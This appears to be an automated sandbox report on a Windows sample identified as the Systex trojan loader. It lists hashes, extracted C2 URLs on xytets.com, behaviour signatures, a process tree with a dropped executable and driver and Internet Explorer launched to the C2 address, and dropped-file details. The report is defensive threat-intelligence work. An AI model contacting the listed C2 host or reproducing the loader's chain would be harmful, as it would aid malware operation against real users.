Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/04/2026, 14:59

General

  • Target
    2026-04-27_f275523f22440aedb7b48dc87c357e21_amadey_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
  • Size 376KB
  • Sample260427-sc6qdagy6m
  • SHA256 7f523b6b801e80a5f39a9d2b6ffba6abe3b3de2413401f1bf20927974a56fc89
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • systex

C2
  • http://xytets.com:2345/t.asp?os=wangba

  • http://xytets.com:2345/t.asp?os=home

  • http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm

Signatures

  • Family: Systex

    Systex is a trojan loader written in C++.

  • Executes dropped EXE 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-27_f275523f22440aedb7b48dc87c357e21_amadey_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-27_f275523f22440aedb7b48dc87c357e21_amadey_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:372
    • C:\Temp\ztrljdbwtomgeywq.exe
      C:\Temp\ztrljdbwtomgeywq.exe run
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2496
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4252
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4252 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:1896
  • C:\Temp\ztrljdbwtomgeywq.sys
    C:\Temp\ztrljdbwtomgeywq.sys
    1⤵
    • Executes dropped EXE
    PID:2100

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        ztrljdbwtomgeywq.exe

        • Path C:\Temp\ztrljdbwtomgeywq.exe
        • Size 376KB
        • SHA256 7fc9182497667becc2e8dd4694239de65b5990122ddb5f36b395946c1ffdee05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ztrljdbwtomgeywq.sys

        • Path C:\Temp\ztrljdbwtomgeywq.sys
        • Size 293KB
        • SHA256 1dea1f2087865e9f0113fd0196d3e3f2cbc048845d6d3d48c9cde4d843dc9b46
        • MD5 SHA1 SHA512 SSDEEP TLSH

        E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
        • Size 471B
        • SHA256 32aa7424273ea5dff5613add4136dbbb922bd4bdca144627e3abafc95304d261
        • MD5 SHA1 SHA512 TLSH

        E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959

        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
        • Size 416B
        • SHA256 8bb006745381a5da3016effa6e6a31d7ea596e2c116d52865857d8ff599db0e4
        • MD5 SHA1 SHA512 TLSH

        suggestions[1].en-US

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\424V513Z\suggestions[1].en-US
        • Size 17KB
        • SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        CreateProcess.exe

        • Path C:\temp\CreateProcess.exe
        • Size 3KB
        • SHA256 9525e7127076feb20b4a67da2a5b7f88806a8473734115d2d2bf60e48648a240
        • MD5 SHA1 SHA512

        memory/2100-9-0x0000000000010000-0x00000000000AB000-memory.dmp